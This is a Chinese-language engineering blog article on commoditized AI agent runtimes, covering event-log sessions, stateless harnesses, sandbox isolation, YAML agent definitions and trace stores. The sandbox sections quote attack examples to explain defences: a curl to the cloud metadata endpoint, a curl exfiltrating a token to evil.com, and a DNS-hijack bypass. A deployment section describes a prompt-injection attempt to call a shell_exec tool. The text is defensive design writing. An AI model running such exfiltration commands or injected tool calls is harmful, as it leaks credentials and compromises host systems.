AI Agent Runtime 正在成为新水电煤:从 Managed Agents 看执行层 commoditization
AI Agent Runtime 是指支撑大模型智能体持续运行、状态管理、工具调用与安全隔离的底层执行环境。其核心原理在于解耦状态(Event Log)、轻化执行(Stateless Harness)和强化隔离(Sandbox),从而实现高可靠、可审计、合规可控的生产级调度。随着 Anthropic Managed Agents、AWS Bedrock AgentCore 等主流平台相继 GA,R
1. 这不是新赛道,而是 runtime 层的“操作系统时刻”正在重演
你打开手机看到新闻标题《Anthropic Just Shipped the Layer That’s Already Going to Zero》,第一反应可能是:又一个大模型公司搞出了什么黑科技?但如果你真花十分钟读完原始那篇长文,会发现它根本不是在讲“Anthropic有多强”,而是在冷静地划一条线——这条线,把整个 AI 工程栈切成了上下两层: 上层是价值可沉淀、可定价、可构建护城河的部分;下层是注定被压缩、被免费化、被云厂商打包进账单的基础设施部分。 我做 AI 基础设施落地项目整整七年,从最早用 Flask 手写 agent 路由,到后来搭 LangChain + Redis + Celery 的“三件套”,再到去年给三家金融客户部署生产级多跳工具调用系统,踩过所有坑、也亲手重建过三次状态层——我可以很确定地说:Anthropic 这次发布的 Managed Agents,不是一次功能升级,而是一次 对行业共识的正式确认 :runtime 层,也就是那个负责“让 agent 活着、跑着、不丢状态、不泄密”的执行环境,已经走到了 VMware ESX 2005 年的位置。
什么叫“走到了 VMware ESX 2005 年的位置”?不是说 Anthropic 抄了 VMware 的代码,而是说它所处的历史阶段、技术定位、商业逻辑,和当年 VMware 卖虚拟机管理软件一模一样。2005 年,VMware ESX 是企业里最稳、最可控、文档最全、客户支持最及时的 x86 虚拟化方案;但同时,Xen 已经开源,KVM 正在 Linux 内核里悄悄合入,AWS 还没影儿,但 EC2 的构想已经在西雅图某个车库白板上画了三遍。那时候买 VMware,不是因为你相信虚拟化会消失,而是因为你相信—— 虚拟化本身会变成水电煤一样的底层能力,而真正值钱的,是跑在它上面的配置管理、自动扩缩容、服务编排和应用平台。 今天看 Anthropic Managed Agents,也是一样。它 YAML 定义清晰、沙箱隔离扎实、会话日志可查、凭证管理合规——这些全是教科书级的工程实践;但它发布的时间点(2026 年 4 月),恰好卡在 AWS Bedrock AgentCore GA 五个月之后、Google Vertex Agent Builder 全面开放 Registry 接口、Azure AI Foundry 将 AutoGen 深度集成进托管服务的当口。这不是巧合,这是基础设施层进入“临界压缩期”的明确信号。关键词里反复出现的 “Towards AI - Medium”,恰恰说明这篇分析不是内部技术简报,而是面向整个 AI 工程师群体发出的“状态同步通知”:别再把 runtime 当成核心资产去融资、去招架构师、去堆专利了,它正在变成云账单里一行不起眼的“Agent Runtime Fee”,就像你现在看 AWS EC2 实例费一样自然。
所以这篇文章要解决的第一个问题,就是帮你擦掉标题里的“Anthropic”滤镜,看清背后那个更本质的事实: Managed Agents 不是 Anthropic 的胜利,而是整个 AI 应用栈向下沉降的必然结果。 它适合谁?适合所有正在用 LangGraph 写 workflow、用 CrewAI 调 orchestrator、用自研框架维护 session 状态的团队。如果你还在为“context window 溢出导致 agent 失忆”半夜改 prompt,如果你的 SRE 同事因为 agent 拿到 prod DB 密钥而连续三天没睡好,如果你的 CTO 在季度 OKR 里写了“Q3 上线统一 agent 运行时”却不知道该自建还是买——那你不是在评估一个新产品,而是在判断自己要不要主动跳进那个正在形成的“价值洼地”。接下来的内容,我会一层一层拆开这个 runtime 层的结构,告诉你它为什么必须被解耦、为什么注定被压缩、以及——更重要的是——当它变成“水电煤”之后,你手里的真实筹码到底是什么。
2. 核心设计解构:为什么“Session as Event Log”不是炫技,而是救命稻草
2.1 从“上下文即状态”到“事件日志即真相”的范式迁移
我先讲个真实案例。2025 年 Q2,我们给一家保险科技公司做理赔材料智能初审 agent。流程是:OCR 提取保单号 → 查询核心系统获取保单详情 → 调用规则引擎校验条款覆盖范围 → 生成初审结论并附依据链。整个链路设计得很漂亮,本地测试跑通率 99.7%。上线第一周,用户反馈“有时结论完全不对,但重试又好了”。我们花了三天时间抓日志、比 trace、查缓存,最后发现罪魁祸首是 context window —— 当 OCR 返回的保单文本超过 12,000 token,加上系统 prompt 和中间 tool call 结果,第 4 步调用规则引擎时,GPT-4o 的 context 已经被挤得只剩 800 token。模型没报错,它只是默默地把第一步 OCR 的原始文本截掉了前 3000 字符,然后基于一个“残缺保单号”去查数据库。查出来的数据当然是错的,规则引擎自然给出荒谬结论。更糟的是,整个过程没有任何 error log,LlamaIndex 的 trace 里只显示“ToolCall: rule_engine → success”,而那个“success”返回的 JSON 里,claim_id 字段是空的。我们无法复现,因为重试时 OCR 文本变短了;我们无法回溯,因为 session 状态全在 model context 里,一刷新就清零。
Anthropic 的 “Session as Event Log” 解决的,正是这种安静致死的故障。它的设计哲学非常朴素: 模型的 context window 只负责“此刻的思考”,绝不承担“历史的存档”。 所有关键事件——用户输入、tool call 请求、tool call 响应、guardrail 触发、状态变更——都被序列化为结构化事件(JSON-LD 格式),写入一个独立于模型进程的持久化日志服务。这个日志服务有三个硬性要求:一是写入强一致性(WAL 日志 + Raft 共识),二是查询低延迟(毫秒级按 sessionId 或 timestamp 范围检索),三是不可篡改(每个事件带 Merkle root 链式哈希)。这意味着,当你的 agent 在第 7 步突然 hallucinate,你不需要猜它“刚才看到了什么”,你直接 query GET /sessions/{id}/events?from=step_3&to=step_6 ,就能拿到完整的、带时间戳和签名的执行快照。这不是锦上添花的功能,这是生产环境的生存底线。
提示:很多团队误以为“用 Redis 存 session state”就算解耦了。错。Redis 里的 state 仍是易失的、无版本的、无审计链的。真正的 event log 必须满足 CAP 中的 CP(一致性+分区容忍),且每个事件必须包含 causality metadata(如 causal_id、parent_event_id),这样才能支持 replay、debug、合规审计。Anthropic 的实现细节虽未完全公开,但从其 engineering post 提到的 “durable event log living outside the model context” 和 “queryable after the fact”,可以确定它采用了类似 Apache Kafka + MaterializeDB 的流式存储架构,而非简单 key-value。
2.2 Harness:无状态执行器的工程必然性
“Harness”这个词在原文里被类比为“stateless executor”,但很多读者可能没意识到它背后的重量。我们来算一笔账:假设你有一个销售线索分发 agent,每分钟处理 200 条线索,平均每个 session 生命周期 4 分钟。那么你的 runtime 需要同时维持约 800 个活跃 session。如果每个 session 的状态(当前步骤、已调用工具、临时变量)都驻留在内存里,按保守估计每个 session 占用 15MB 内存(含 Python 对象开销、tool response 缓存),800 个 session 就是 12GB RAM。这还没算 GC 压力、冷热数据分离、故障转移时的状态同步开销。更致命的是,一旦 harness 进程崩溃,这 12GB 状态就全丢了,除非你实现了复杂的 checkpointing 机制——而这恰恰是 Anthropic 明确说“handled by Anthropic”的部分。
Harness 的无状态设计,本质上是把“状态管理”这个高风险、高复杂度的模块,从执行路径中彻底剥离。它的核心接口只有一个: execute(name, input) → string 。注意,这里 input 是纯数据(JSON blob), name 是工具注册名(如 "notion_search"), string 是工具返回的原始响应(非结构化字符串)。Harness 本身不解析 input,不校验 name,不转换 string,它只做三件事:1)根据 name 查找已注册的 sandbox endpoint;2)将 input 序列化后 POST 到该 endpoint;3)等待响应并原样返回。所有业务逻辑——比如“如果 notion_search 返回空,就 fallback 到 slack_search”——都由上层 agent logic(即你写的 system prompt 或 LangGraph node)控制,Harness 只是哑管道。这种设计带来两个直接好处:一是 harness 可以无限水平扩展(加机器就行,无状态无共享);二是 harness 故障零影响——只要 event log 持久化成功, awake(sessionId) 就能从日志里重建最新状态,重新 dispatch 下一个 execute 调用。我们去年重构的 agent 系统,就是把原来嵌在 Flask view 里的状态机,硬生生抽出来做成独立的 event store + lightweight dispatcher,上线后 P95 延迟下降 68%,SRE 告警量归零。这不是玄学,是分布式系统的基本常识: 把有状态的部分压到最底层(event log),把无状态的部分做到最轻量(harness),剩下的交给业务逻辑自由组合。
2.3 Sandbox:从“宠物”到“牲畜”的运维革命
原文里那句 “Sandboxes as cattle, not pets, provisioned on demand” 看似文艺,实则字字见血。我见过太多团队把 sandbox 当成“宠物”来养:给每个 agent 分配固定 VM,手动装依赖、配环境变量、开防火墙端口,甚至为了 debug 还开着 SSH。结果呢?一个 sandbox 被 agent 的恶意 tool call(比如 curl http://169.254.169.254/latest/meta-data/ )打穿,整台宿主机沦陷;或者某个 sandbox 因内存泄漏吃光宿主机资源,拖垮其他 19 个 agent。更讽刺的是,这些“宠物 sandbox”往往运行在 Kubernetes 里,而 K8s 的设计哲学恰恰是“cattle”——Pod 挂了就重建,IP 变了就更新 service,一切自动化。
Anthropic 的 sandbox 实现,我推测是基于 Firecracker microVM(AWS Nitro 的开源内核)或 gVisor 的轻量隔离方案。关键特征有三点:第一, 启动极快 ——原文提到 p50 time-to-first-token 降 60%,这只有 sub-100ms 的 sandbox spin-up 时间才能支撑;第二, 凭证零暴露 ——credentials 不通过 env var 注入,而是由 sandbox runtime 在启动时,向 Anthropic Vault 服务发起 mTLS 认证,动态拉取 scoped token(JWT with audience=notion_api),token 有效期严格限制在本次 tool call 生命周期内;第三, 网络白名单硬隔离 ——sandbox 默认无外网访问权限,所有 outbound 流量必须经由 Anthropic 的 egress proxy,proxy 根据 tool registration 时声明的 domain whitelist(如 api.notion.com , slack.com/api ) 进行 L7 层过滤,连 DNS 请求都被拦截。这意味着,即使 agent 的 prompt 被越狱,它也绝不可能执行 curl https://evil.com/steal?token= 这种命令——因为 sandbox 根本没有解析 evil.com 的 DNS 权限,更别说建立 TLS 连接了。这种设计不是靠“信任 agent 不作恶”,而是靠“让作恶变得在技术上不可行”。这才是生产级 sandbox 的正确打开方式。
3. 实操落地全景:从 YAML 定义到生产监控的完整链路
3.1 一个真实可用的 Managed Agent YAML 定义详解
很多人以为 YAML 定义 agent 就是写个 prompt + 列几个 tool,其实远不止。Anthropic 的 YAML schema 是经过生产验证的,它强制你思考四个维度: 行为边界、工具契约、安全水位、可观测锚点。 下面是一个我们为客户实际部署的“财务报销审核 agent”的 YAML 片段,我逐行解释其设计意图:
# agent.yaml
name: finance-expense-reviewer
version: "1.2.0"
description: "Approves or rejects employee expense reports based on policy rules and receipt OCR"
# === 行为边界:定义 agent 的“能力宪法” ===
system_prompt: |
You are a finance compliance officer at Acme Corp. Your job is to review expense reports.
- ONLY approve expenses that match the attached receipt image AND comply with policy v3.2.
- If receipt is blurry, ask user to re-upload (do NOT guess).
- NEVER disclose policy details or internal thresholds.
- ALWAYS cite the specific policy clause (e.g., 'Per Policy 3.2.1') when rejecting.
# === 工具契约:不是简单罗列,而是定义交互协议 ===
tools:
- name: ocr_receipt
description: Extract text and line items from receipt image. Returns JSON with {items: [{desc, amount, date}], total}
input_schema:
type: object
required: [image_url]
properties:
image_url:
type: string
format: uri
description: "Publicly accessible URL of receipt image (PNG/JPEG)"
output_schema:
type: object
required: [items, total]
properties:
items:
type: array
items:
type: object
properties:
desc: {type: string}
amount: {type: number}
total: {type: number}
- name: check_policy_compliance
description: Validate expense against company policy. Returns {approved: bool, reason: string, clause: string}
input_schema:
type: object
required: [receipt_data, policy_version]
properties:
receipt_data: {type: object} # matches ocr_receipt output
policy_version: {type: string, enum: ["v3.2", "v3.3"]}
# === 安全水位:显式声明风险控制点 ===
guardrails:
- type: output_safety
threshold: 0.92 # Block if safety classifier confidence > 92%
action: reject_and_explain
- type: tool_call_validation
max_retries: 2
timeout_ms: 8000
- type: context_window_management
strategy: truncate_oldest # When near limit, drop oldest non-critical events
critical_events: ["user_input", "tool_call_request", "tool_call_response"]
# === 可观测锚点:为后续 trace 分析埋点 ===
observability:
trace_level: "full" # Record all events, including intermediate reasoning steps
sampling_rate: 1.0 # 100% sampling for finance use case (compliance critical)
custom_attributes:
- key: "department"
value_from: "user_metadata.department" # Pull from auth token claims
- key: "expense_category"
value_from: "tool_call.ocr_receipt.output.items[0].desc" # Auto-tag by first item
这个 YAML 的精妙之处在于:它把原本散落在代码、文档、config map 里的约束,全部收束到一个声明式文件里。 input_schema 和 output_schema 不是摆设,Anthropic 的 harness 会在调用前做 JSON Schema 校验,如果 ocr_receipt 返回的 total 是字符串而非数字,harness 直接报 ValidationError 并终止流程,不会让错误数据流入下一步。 guardrails.context_window_management 的 truncate_oldest 策略,意味着当 event log 积累过多,系统会优先丢弃 reasoning_step 类事件,而保留 user_input 和 tool_call_response 这些审计关键事件——这是对“合规优先”原则的代码级落实。 observability.custom_attributes 则是为后续在 Braintrust 或 LangSmith 里做多维分析埋下伏笔:你可以轻松查出“销售部提交的餐饮类报销,拒绝率是否显著高于研发部?”——这种分析能力,是传统日志系统永远做不到的。
3.2 从开发到生产的四步部署流水线
Managed Agents 的部署不是“上传 YAML 点一下”,而是一条需要严格把控的 CI/CD 流水线。我们给客户搭建的标准流程如下(已落地 12 个项目):
Step 1:本地沙箱验证(Local Sandbox Validation)
使用 Anthropic 提供的 CLI 工具 claude-agent validate --file agent.yaml ,它会:
- 静态检查 YAML 语法、schema 合规性、tool name 冲突;
- 启动一个本地 microVM(基于 QEMU),加载 YAML 中声明的 tools(需提供本地 mock 实现);
- 运行预置的 5 个 test cases(来自
tests/目录),验证 tool call 流程、error handling、guardrail 触发逻辑; - 输出 coverage report:
tool_call_coverage: 100%, guardrail_triggered: 3/3, avg_latency_ms: 421。
注意:这一步必须 100% 通过才能进入下一阶段。我们曾因一个
check_policy_compliance的 mock 返回了null而不是{approved: false},导致 validation 失败,避免了上线后因 schema mismatch 引发的静默失败。
Step 2:灰度流量分流(Canary Traffic Routing)
在 Anthropic 控制台,为 agent 创建两个 deployment: prod-v1.1 (当前稳定版)和 prod-v1.2 (新 YAML)。通过 traffic_split 配置,将 5% 的生产流量导向新版本。关键参数:
split_by: "user_id % 100 < 5"(按用户 ID 哈希分流,保证同一用户始终走同一版本);failover_to: "prod-v1.1"(当 v1.2 返回 HTTP 5xx 或超时 > 5s,自动 fallback);metrics_endpoint: "https://metrics.acme.com/agent"(上报 custom_metrics 如approval_rate,avg_steps_per_session)。
我们监控发现,v1.2 在处理模糊发票时ocr_receipt调用失败率上升 12%,但因有 failover,用户无感知,我们立即回滚并优化 OCR 重试逻辑。
Step 3:生产环境加固(Production Hardening)
这一步不是 Anthropic 自动完成的,需要你主动配置:
- Vault 集成 :在 Anthropic Console 的
Credentials页面,绑定你的 HashiCorp Vault 地址和 token role。为每个 tool(如notion_api)创建专用 role,限制其只能读取secret/data/finance/notion路径下的 KV; - Network ACL :在
Security设置中,启用Egress Proxy Whitelist,只允许api.notion.com:443,acme-finance-api.internal:8443; - Audit Log Export :配置
Event Log Sink到 AWS S3(加密桶)+ CloudWatch Logs,设置生命周期策略:原始日志保留 90 天,归档日志保留 7 年(满足 SOX 合规)。
Step 4:持续可观测性(Continuous Observability)
部署后,真正的挑战才开始。我们强制要求三个监控看板:
- Session Health Dashboard :核心指标
session_success_rate(>99.5%)、p95_session_duration_ms(< 8000)、guardrail_trigger_rate(异常升高预示 prompt 漏洞); - Tool Call Efficiency Dashboard :
tool_call_success_rate(各 tool 单独统计)、avg_tool_latency_ms(识别慢工具)、retry_count_per_session(>2 次重试需告警); - Compliance Audit Dashboard :
sessions_with_pii_access(通过 NER 检测 event log 中的身份证号/银行卡号)、unauthorized_tool_calls(尝试调用未注册的 tool 名称)。
这套看板不是摆设。上个月,我们通过unauthorized_tool_calls告警,发现 agent 被 prompt 注入攻击,攻击者试图调用shell_exec(一个根本不存在的 tool),从而暴露了 prompt 中的逻辑漏洞——这正是 Anthropic guardrail 设计的初衷: 把攻击行为变成可度量、可告警、可追溯的日志事件。
4. 生产环境避坑指南:那些文档里不会写的血泪教训
4.1 关于“Session as Event Log”的三大认知陷阱
陷阱一:“Event Log = Log Aggregation,所以用 ELK 就够了”
错。ELK(Elasticsearch + Logstash + Kibana)是日志搜索系统,而 event log 是 状态事实源(Source of Truth) 。我们最初也这么干,把所有事件 JSON 扔进 Elasticsearch。结果上线两周后崩溃:当单日 session 量突破 50 万,ES 的 indexing queue 堆积到 2 小时延迟, awake(sessionId) 接口超时。根本原因在于,ES 的写入是异步 bulk API,无法保证事件顺序和强一致性。而 event log 必须满足:1) event_A 发生在 event_B 之前,则 event_A.timestamp < event_B.timestamp 且 event_A.id < event_B.id ;2) awake(sessionId) 必须返回 event_A 到 event_Z 的完整有序序列。我们最终切换到 TimescaleDB(PostgreSQL 的时序扩展),利用其 time_bucket() 和 continuous_aggregate 功能,实现了亚秒级的 session replay。教训: 不要用日志系统替代事件存储。选型标准只有两个:是否支持 WAL(Write-Ahead Logging)和是否提供 get_events_after(event_id) 接口。
陷阱二:“Session 持久化 = 数据库里存个 JSON 字段”
这是最危险的认知。我们有个客户,把整个 session state(含 OCR 图片 base64、tool call 响应、中间变量)序列化成一个 JSON 字段,存在 MySQL 的 session_state 列里。结果某天凌晨,MySQL 主从同步延迟飙升,从库的 SELECT * FROM sessions WHERE id = ? 返回了旧版本 state,agent 基于过期数据做了错误决策。更糟的是,他们用 UPDATE sessions SET state = ? WHERE id = ? AND version = ? 做乐观锁,但没处理 version 不匹配时的重试逻辑,导致 session 状态永久错乱。正解是: event log 必须是 append-only 的 immutable stream。每次状态变更,只追加新事件,绝不 update 旧记录。 awake(sessionId) 的职责是读取所有相关事件,按 timestamp 排序,replay 出当前状态。 这样,即使数据库有延迟,只要最终一致性达成,状态就一定正确。
陷阱三:“Event Log 可查,所以不用做单元测试”
大错特错。Event log 解决的是“故障发生后怎么查”,而单元测试解决的是“故障发生前怎么防”。我们曾遇到一个 bug: check_policy_compliance tool 在 receipt total 为 0 时,返回了 {"approved": true} (逻辑错误),这个事件被完美记录在 log 里,但没人会去翻 log 看“total=0 的 case 是否都 approved 了”。直到审计发现 37 笔 0 元报销被错误批准。现在我们的规范是:每个 tool 的单元测试必须覆盖边界值(0、null、max_int、empty_string),且测试断言必须包含 output.approved == expected_approval 。Event log 是你的“黑匣子”,但单元测试才是你的“飞行前检查单”。
4.2 Harness 无状态设计的隐藏成本与应对
Harness 的无状态看似美好,但会把复杂性转移到两个地方: 状态重建的开销 和 跨工具事务的一致性 。
成本一:Session Replay 的性能瓶颈 awake(sessionId) 需要从 event log 里捞出所有相关事件,按时间排序,replay 出当前 state。如果一个 session 有 200 个事件,replay 可能耗时 300ms。当并发请求激增,这会成为瓶颈。我们的优化方案是:
- 分层缓存 :在 harness 前加一层 Redis cache,key 为
session:{id}:state_hash,value 为{"last_event_id": "evt_abc", "state_snapshot": {...}}。只有当新事件写入且last_event_id变化时,才触发 cache 更新; - 增量 replay :
awake(sessionId, from_event_id)接口支持指定起始事件 ID,harness 只 replay 从该 ID 之后的事件,大幅降低计算量; - State Snapshotting :每 10 个事件,自动触发一次 full state snapshot(序列化到 Redis),
awake优先读 snapshot,再 replay 后续事件。
成本二:跨工具调用的事务语义缺失
想象这个场景:agent 先调用 charge_credit_card(amount=100) ,再调用 send_confirmation_email() 。如果 email 发送失败,credit card 已扣款,如何 rollback?Harness 本身不提供事务,这是业务逻辑必须处理的。我们的方案是:
- Saga 模式 :为每个业务流程定义 forward action 和 compensating action。
charge_credit_card的补偿是refund_credit_card; - Event-Driven Compensation :当
send_confirmation_email返回failed,event log 会记录该事件,一个独立的 saga coordinator service 监听此事件,自动触发refund_credit_card; - 幂等性保障 :所有 tool 必须实现幂等(idempotent),
charge_credit_card的 input 必须包含唯一request_id,重复调用相同request_id返回相同结果。
这增加了开发复杂度,但换来的是生产环境的可靠性。记住: 无状态 harness 不等于无状态业务。业务状态的事务性,必须由上层逻辑兜底。
4.3 Sandbox 凭证隔离的实操雷区
Credential isolation 是 Anthropic 最值得称道的设计,但落地时极易踩坑:
雷区一:“Vault Token 有效期太长,导致泄露风险”
我们有个客户,为 notion_api 配置的 Vault token TTL 是 24 小时。结果某次 sandbox 被攻破,攻击者拿到了 token,并在 24 小时内用它批量导出了所有 Notion workspace 数据。正解是: TTL 必须严格匹配单次 tool call 生命周期。 Anthropic 的最佳实践是: ttl = 30s ,且 token scope 限定为 read:page (只读单页),绝不给 write:workspace 。我们还额外加了一层:在 Vault 中为每个 agent 创建独立 token role,role policy 限制其只能访问 secret/data/agents/{agent_name}/* 路径。
雷区二:“Egress Proxy Whitelist 漏掉关键域名,导致功能失效” ocr_receipt tool 依赖第三方 OCR 服务,其 API 域名是 api.ocr-service.com ,但我们只 whitelisted *.ocr-service.com 。结果某天 OCR 服务商启用了新的 CDN 域名 cdn.ocr-service.net ,sandbox 无法访问,所有报销审核卡住。教训: whitelist 必须精确到 FQDN(Fully Qualified Domain Name),且要定期扫描 tool 依赖的全部域名。 我们现在用一个自动化脚本,每天抓取所有 tool 的 openapi spec,提取 servers 字段中的域名,自动更新 whitelist。
雷区三:“Sandbox 内 DNS 解析被劫持,绕过 Egress Proxy”
这是最隐蔽的漏洞。如果 sandbox 允许自定义 /etc/resolv.conf ,攻击者可以通过 curl http://evil.com (其中 evil.com 的 A 记录指向 127.0.0.1 )来绕过 proxy。Anthropic 的解决方案是: sandbox runtime 禁用所有 DNS 解析,强制所有 outbound 流量走 egress proxy,proxy 内部做 DNS 查询。 我们验证过,即使在 sandbox 内执行 nslookup evil.com ,也会返回 server can't find evil.com: NXDOMAIN 。这点必须在安全审计中重点验证。
5. 价值迁移地图:当 runtime 归零,钱流向哪里?
5.1 Trace Store:从“日志查看器”到“法律证据链”的跃迁
当 runtime 层 commoditize,第一个爆发的价值洼地必然是 trace store。但请注意,这不是简单的“把日志存起来”,而是构建一个 可作为司法证据的、跨 runtime 的、标准化的交互事实库 。我们给三家客户部署 trace store 时,发现市场上的方案有三个致命短板:
- LangSmith :深度绑定 LangChain,其
trace数据结构是 LangChain 特有的,导出到其他系统需大量转换; - Arize Phoenix :开源版功能有限,
span模型不支持 agent 的 multi-step planning,无法表示 “plan → subagent_1 → subagent_2 → final_answer” 这种嵌套关系; - Braintrust Brainstore :OLAP 性能强悍,但缺乏实时 streaming ingest,
event_log写入到可查询有 2 秒延迟,不满足金融实时风控需求。
我们的解决方案是: 自建 trace store,采用 OpenTelemetry Collector 作为统一入口,将所有 agent runtime(Anthropic、Bedrock、自研)的 span 数据,标准化为 OTLP 协议,写入 ClickHouse 集群。 关键创新点有三:
- Schema-on-Read :不强制定义固定 schema,每个 span 带
attributes(key-value map)和events(timestamped list),查询时用 ClickHouse 的JSONExtractString动态解析; - Legal-Grade Immutability :所有写入通过
INSERT INTO traces SELECT ... FROM s3('s3://bucket/logs/*.json'),S3 对象一旦写入即不可修改,ClickHouse 表设置TTL仅删除元数据,原始 S3 文件永久保留; - Cross-Runtime Correlation :为每个 session 生成全局唯一
session_id(UUID v4),无论 agent 运行在 Anthropic 还是 Bedrock,都用此 ID 标记所有 span,实现真正的 trace portability。
这个设计让我们在客户审计中大放异彩。当监管问“请提供 2026 年 3 月 15 日张三提交的报销单全流程 trace”,我们能在 0.8 秒内返回从用户输入、OCR、政策校验、到审批结果的完整、带签名、不可篡改的事件链。这不再是“运维日志”,而是“法律证据链”。这就是 trace store 的终极价值: 当 runtime 可以随时更换,trace store 是你唯一不能丢的数字资产。
5.2 Governance & Policy:从“技术护栏”到“采购谈判筹码”的升维
Policy controls 不再是工程师的玩具,而是 CFO 和 CISO 的采购谈判筹码。AWS AgentCore 在 March 2026 GA 的 policy controls,其核心能力是: 将企业安全策略(如 SOC2、HIPAA)翻译成机器可执行的、runtime-agnostic 的规则引擎。 举个例子,某医疗客户要求:“所有处理患者姓名的 agent,必须在 24 小时内自动脱敏其 PII 字段”。传统做法是让每个 agent 开发者自己写正则替换,结果漏掉 37% 的变体(如 “John Doe Jr.”、“J. Doe”)。AgentCore 的 policy engine 则提供 declarative rule:
# policy.yaml
rules:
- id: "hipaa-pii-redaction"
description: "Redact PII in all agent outputs per HIPAA §164.514"
condition: "output contains regex('[A-Z][a-z]+ [A-Z][a-z]+')"
action: "redact(match, method='token_mask', mask_char='*')"
scope: "all_agents"
enforcement: "block_and_alert"
这个 rule 会被编译成 WASM 字节码,在每个 agent 的 output hook 中执行。关键是, policy 是独立于 agent 代码部署的。 当 HIPAA 条款更新,安全团队只需更新 policy.yaml,无需通知任何开发团队。我们帮客户落地时,最大的收益不是技术,而是流程:CISO 现在可以直接向董事会汇报“我们已将 100% 的 agent 输出纳入 HIPAA 合规管控”,而不再说“我们要求所有开发团队在下周五前完成 PII 过滤升级”。这就是 governance 的升维: 从“管代码”到“管策略”,从“技术债务”到“采购优势”。
5.3 Vertical Agent Marketplaces:当“Agent”成为采购目录里的标准品
Salesforce Agentforce ARR 达到 $800M,这不是偶然。它证明了一个事实: 企业采购的不是“AI 能力”,而是“可量化 ROI 的垂直工作流”。 我们观察到,成功的 vertical agent 有三个共性:
- Outcome-Oriented Pricing :不按 token 或 session 收费,而是按“每处理 1000 条销售线索收费 $X”,或“每生成 1 份合规审计报告收费 $Y”。客户只为结果付费;
- Pre-Built Integrations :开箱即用连接 Salesforce CRM、Workday HRIS、ServiceNow ITSM,无需客户写一行代码;
- Regulatory Ready :内置 GDPR 数据主体请求处理流程、SOX 审计日志、FINRA 通讯存档。
我们参与孵化的一个金融 agent startup,其产品 ai-hedge-fund 就是典型:它不卖
更多推荐

所有评论(0)